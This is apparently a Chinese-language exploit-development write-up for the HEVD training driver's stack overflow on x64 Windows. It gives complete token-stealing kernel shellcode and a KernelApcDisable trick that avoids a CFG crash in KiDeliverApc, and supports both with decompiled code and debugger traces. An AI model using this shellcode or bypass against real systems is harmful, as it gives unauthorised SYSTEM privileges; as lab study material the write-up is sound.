mov rax, [rax + 0B8h] ; 获取 nt!_KTHREAD.ApcState.Process
mov rcx, rax ; 将当前进程的_EPROCESS结构复制到rcx
mov r11, rcx ; Store Token.RefCnt
and r11, 0xf ; 获取当前进程的Token引用计数
; _EX_FAST_REF(Token结构): 64 bit -> 0,3 (Token.RefCnt)
; EPROCESS offsets:
; +0x440 UniqueProcessId
; +0x448 ActiveProcessLinks
; +0x4b8 Token
mov rdx, 4h ; 系统进程PID = 0x4;
; 搜索进程ID为4的进程
SearchSystemPID:
mov rax, [rax + 448h] ; 获取Flink nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 448h
cmp [rax + 440h], rdx ; 获取nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
; 结束后指向进程id为4的_EPROCESS
mov rdx, [rax + 4b8h] ; 获取系统进程的Token nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h ; 清零系统进程token计数
or rdx, r11 ; 将当前进程的token计数放入系统进程的token中
mov [rcx + 4b8h], rdx ; 将系统进程的Token替换到当前进程
; 恢复状态
movabs rax, qword ptr gs:[0x188]
; 将KernelApcDisable+1,不让其他APC执行,
; 如果其他APC执行,会因为CFG导致崩溃
mov cx, word ptr [rax + 0x1e4]
inc cx
mov word ptr [rax + 0x1e4], cx
; 恢复其他影响执行的寄存器信息
mov rdx, qword ptr [rax + 0x90]
mov rcx, qword ptr [rdx + 0x168]
mov r11, qword ptr [rdx + 0x178]
mov rsp, qword ptr [rdx + 0x180]
mov rbp, qword ptr [rdx + 0x158]
xor rax, rax ; 设置返回值
; 回到用户态
swapgs
sysretq
-----------------------------------------------------------------
首先来看一下在_KTHREAD+0x1e4的位置代表的含义
-----------------------------------------------------------------
2: kd> dt _KTHREAD
ntdll!_KTHREAD
...
+0x185 Spare13 : Char
+0x186 WaitIrql : UChar
+0x187 WaitMode : Char
+0x140 WaitBlockFill6 : [116] UChar
+0x1b4 WaitTime : Uint4B
+0x140 WaitBlockFill7 : [164] UChar
+0x1e4 KernelApcDisable : Int2B <---
+0x1e6 SpecialApcDisable : Int2B
+0x1e4 CombinedApcDisable : Uint4B <---
+0x140 WaitBlockFill8 : [40] UChar
+0x168 ThreadCounters : Ptr64 _KTHREAD_COUNTERS
+0x140 WaitBlockFill9 : [88] UChar
+0x198 XStateSave : Ptr64 _XSTATE_SAVE
+0x140 WaitBlockFill10 : [136] UChar
+0x1c8 Win32Thread : Ptr64 Void
+0x140 WaitBlockFill11 : [176] UChar
+0x1f0 Ucb : Ptr64 _UMS_CONTROL_BLOCK
+0x1f8 Uch : Ptr64 _KUMS_CONTEXT_HEADER
-----------------------------------------------------------------
KernelApcDisable是_KTHREAD结构体中的一个字段,它是一个计数器,当这个计数器的值大于0时,
当前线程的所有内核APC(包括普通和特殊)的执行都会被禁止。
判断是在内核函数nt!KiDeliverApc进行判断,而nt!KiDeliverApc会在我们的payload指令swapgs/sysretq之前执行
函数ida伪代码
-----------------------------------------------------------------
void __fastcall KiDeliverApc(char a1, int a2, _KTRAP_FRAME *a3)
{
// ...
ULONG_PTR BugCheckParameter1; // [rsp+68h] [rbp-18h]
int v70; // [rsp+C0h] [rbp+40h] BYREF
int v71; // [rsp+C8h] [rbp+48h] BYREF
Blink = 0LL;
v63 = 0LL;
v65 = 0LL;
v64 = 0LL;
if ( a3 )
KiCheckForSListAddress(a3);
CurrentThread = KeGetCurrentThread();
v6 = CurrentThread->SpecialApcDisable == 0; // 判断是否是特殊内核APC
TrapFrame = CurrentThread->TrapFrame;
BugCheckParameter1 = (ULONG_PTR)CurrentThread->ApcState.Process;
CurrentThread->TrapFrame = a3;
CurrentThread->ApcState.KernelApcPending = 0;
if ( v6 ) // 内核特殊APC
{
_InterlockedOr(v62, 0);
v8 = &CurrentThread->152;
while ( 1 )
{
if ( ($C774EFD68449142D8271B1EC1EB7FB26 *)v8->ApcState.ApcListHead[0].Flink == v8 )
goto LABEL_16;
CurrentIrql = KeGetCurrentIrql();
__writecr8(2uLL);
if ( KiIrqlFlags && (KiIrqlFlags & 1) != 0 && CurrentIrql <= 0xFu )
{
SchedulerAssist = KeGetCurrentPrcb()->SchedulerAssist;
SchedulerAssist[5] |= (-1 << (CurrentIrql + 1)) & 4;
}
CurrentPrcb = KeGetCurrentPrcb();
v70 = 0;
v11 = CurrentPrcb->SchedulerAssist;
if ( v11 )
{
if ( CurrentPrcb->NestingLevel <= 1u )
{
v40 = v11[6];
v11[6] = v40 + 1;
if ( v40 == -1 )
LABEL_60:
KiRemoveSystemWorkPriorityKick(CurrentPrcb);
}
}
while ( _interlockedbittestandset64((volatile signed __int32 *)&CurrentThread->ThreadLock, 0LL) )
{
v22 = CurrentPrcb->SchedulerAssist;
if ( v22 )
{
if ( CurrentPrcb->NestingLevel <= 1u )
{
v41 = v22[6] - 1;
v22[6] = v41;
if ( !v41 )
KiRemoveSystemWorkPriorityKick(CurrentPrcb);
}
}
do
KeYieldProcessorEx(&v70);
while ( CurrentThread->ThreadLock );
v23 = CurrentPrcb->SchedulerAssist;
if ( v23 )
{
if ( CurrentPrcb->NestingLevel <= 1u )
{
v42 = v23[6];
v23[6] = v42 + 1;
if ( v42 == -1 )
goto LABEL_60;
}
}
}
Flink = v8->ApcState.ApcListHead[0].Flink;
if ( ($C774EFD68449142D8271B1EC1EB7FB26 *)v8->ApcState.ApcListHead[0].Flink == v8 )
break;
CurrentThread->ApcState.KernelApcPending = 0;
v13 = Flink - 1;
_m_prefetchw(&Flink[-1]);
v14 = Flink[1].Flink;
v63 = Flink[2].Flink;
Blink = Flink[2].Blink;
v65 = Flink[3].Flink;
v64 = Flink[3].Blink;
if ( v63 )
{
// 做安全检查,是否可以执行内核APC队列中的APC
// 判断为真,则需要退出
if ( CurrentThread->ApcState.InProgressFlags || CurrentThread->KernelApcDisable )
{
KiReleaseThreadLockSafe(CurrentThread);
if ( KiIrqlFlags )
{
if ( (KiIrqlFlags & 1) != 0 && (unsigned __int8)(KeGetCurrentIrql() - 2) <= 0xDu )
{
v50 = KeGetCurrentPrcb();
v51 = v50->SchedulerAssist;
v6 = (v51[5] & 0xFFFF0003) == 0;
v51[5] &= 0xFFFF0003;
if ( v6 )
KiRemoveSystemWorkPriorityKick(v50);
}
}
__writecr8(1uLL);
goto LABEL_17; // 退出
}
// ...
}
else
{
v15 = Flink->Flink;
v16 = Flink->Blink;
if ( Flink->Flink->Blink != Flink || v16->Flink != Flink )
goto LABEL_112;
v16->Flink = v15;
v15->Blink = v16;
BYTE2(v13[5].Flink) = 0;
CurrentThread->ThreadLock = 0LL;
v17 = KeGetCurrentPrcb();
v18 = v17->SchedulerAssist;
if ( v18 )
{
if ( v17->NestingLevel <= 1u )
{
v43 = v18[6] - 1;
v18[6] = v43;
if ( !v43 )
KiRemoveSystemWorkPriorityKick(v17);
}
}
if ( KiIrqlFlags && (KiIrqlFlags & 1) != 0 && (unsigned __int8)(KeGetCurrentIrql() - 2) <= 0xDu )
{
v44 = KeGetCurrentPrcb();
v45 = v44->SchedulerAssist;
v6 = (v45[5] & 0xFFFF0003) == 0;
v45[5] &= 0xFFFF0003;
if ( v6 )
KiRemoveSystemWorkPriorityKick(v44);
}
__writecr8(1uLL);
CurrentThread->ApcState.InProgressFlags |= 2u;
// 根据调试,该代码会执行
((void (__fastcall *)(struct _LIST_ENTRY *, struct _LIST_ENTRY **, struct _LIST_ENTRY **,
struct _LIST_ENTRY **, struct _LIST_ENTRY **))v14)(
v13,
&v63,
&Blink,
&v65,
&v64);
CurrentThread->ApcState.InProgressFlags &= ~2u;
}
}
// ...
}
LABEL_17:
// 保存状态,退出分发APC
Process = (ULONG_PTR)CurrentThread->ApcState.Process;
if ( Process != BugCheckParameter1 )
KeBugCheckEx(
5u,
BugCheckParameter1,
Process,
CurrentThread->ApcStateIndex,
KeGetPcr()->Prcb.DpcRequestSummary & 0x10001);
CurrentThread->TrapFrame = TrapFrame;
}
-----------------------------------------------------------------
根据调试,在执行代码时会有CFG检查
-----------------------------------------------------------------
// 伪代码
((void (__fastcall *)(struct _LIST_ENTRY *, struct _LIST_ENTRY **, struct _LIST_ENTRY **,
struct _LIST_ENTRY **, struct _LIST_ENTRY **))v14)(
v13,
&v63,
&Blink,
&v65,
&v64);
CurrentThread->ApcState.InProgressFlags &= ~2u;
// 反汇编代码
.text:FFFFF8043A215510 loc_FFFFF8043A215510: ; CODE XREF: KiDeliverApc+209472↓j
.text:FFFFF8043A215510 ; KiDeliverApc+209480↓j ...
.text:FFFFF8043A215510 mov eax, 1
.text:FFFFF8043A215515 mov cr8, rax
.text:FFFFF8043A215519 or byte ptr [rbx+0C0h], 2
.text:FFFFF8043A215520 lea rax, [rbp+var_38]
.text:FFFFF8043A215524 mov [rsp+80h+BugCheckParameter4], rax
.text:FFFFF8043A215529 lea r9, [rbp+var_30]
.text:FFFFF8043A21552D mov rax, r12
.text:FFFFF8043A215530 lea r8, [rbp+var_28]
.text:FFFFF8043A215534 lea rdx, [rbp+var_40]
.text:FFFFF8043A215538 mov rcx, rsi
.text:FFFFF8043A21553B call _guard_dispatch_icall ; <---
.text:FFFFF8043A215540 and byte ptr [rbx+0C0h], 0FDh
.text:FFFFF8043A215547 xor r11d, r11d
.text:FFFFF8043A21554A jmp loc_FFFFF8043A21541F
-----------------------------------------------------------------
由于栈溢出,环境被破坏,所以CFG检查会出现问题,导致蓝屏崩溃
下面的就是具体的崩溃信息
-----------------------------------------------------------------
3: kd> t
000002b4`61e90080 31c0 xor eax,eax
3: kd> t
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x0000007f
(0x0000000000000008,0xFFFFBA0087646E70,0x000000BD8BAFC450,0xFFFFF80107401BBA)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff801`07400e70 cc int 3
3: kd> k
# Child-SP RetAddr Call Site
00 ffffba00`87646578 fffff801`07512f02 nt!DbgBreakPointWithStatus
01 ffffba00`87646580 fffff801`075124e6 nt!KiBugCheckDebugBreak+0x12
02 ffffba00`876465e0 fffff801`073f90a7 nt!KeBugCheck2+0x946
03 ffffba00`87646cf0 fffff801`0740af69 nt!KeBugCheckEx+0x107
04 ffffba00`87646d30 fffff801`07405d83 nt!KiBugCheckDispatch+0x69
05 ffffba00`87646e70 fffff801`07401bba nt!KiDoubleFaultAbort+0x2c3
06 000000bd`8bafc450 00000000`00010001 nt!guard_dispatch_icall+0x4a <--- CFG导致
07 000000bd`8bafc458 00000001`00010001 0x10001
08 000000bd`8bafc460 00000000`00000400 0x00000001`00010001
09 000000bd`8bafc468 00000000`00000001 0x400
0a 000000bd`8bafc470 00000000`00000000 0x1
3: kd> r
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=ffffba0087428180
rip=fffff80107400e70 rsp=ffffba0087646578 rbp=ffffba00876466e0
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=0000000000000008
r14=0000000000000000 r15=ffffa78fc715b080
iopl=0 nv up di ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040082
nt!DbgBreakPointWithStatus:
fffff801`07400e70 cc int 3
-----------------------------------------------------------------
所以可以发现,通过变更_KTHREAD+0x1e4禁止执行其他内核APC,也算是绕过了CFG的检查
☆ 总结
以前做过这个测试,但是在win7上测试,各种防护机制没有遇到,并且以前只想着赶快做完,然后找漏洞挣钱,
很多细节都没有扣,这次借着有AI,所以将很多以前有疑问的东西全部进行了测试和描述,
感觉对内核各种理论知识有了进一步的认识.
接下来我尽力抽时间将所有的hevd漏洞都做一遍,然后再开始挖windows内核的漏洞
☆ 参考:
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/
SMEP+VBS bypass: https://news.ycombinator.com/item?id=42354203
hevd stackoverflow 多种防护绕过(包含SMEP+VBS):
https://wetw0rk.github.io/posts/0x01-killing-windows-kernel-mitigations/
control registre: https://en.wikipedia.org/wiki/Control_register
heve exploit: https://github.com/wetw0rk/Exploit-Development
Reactions are currently unavailable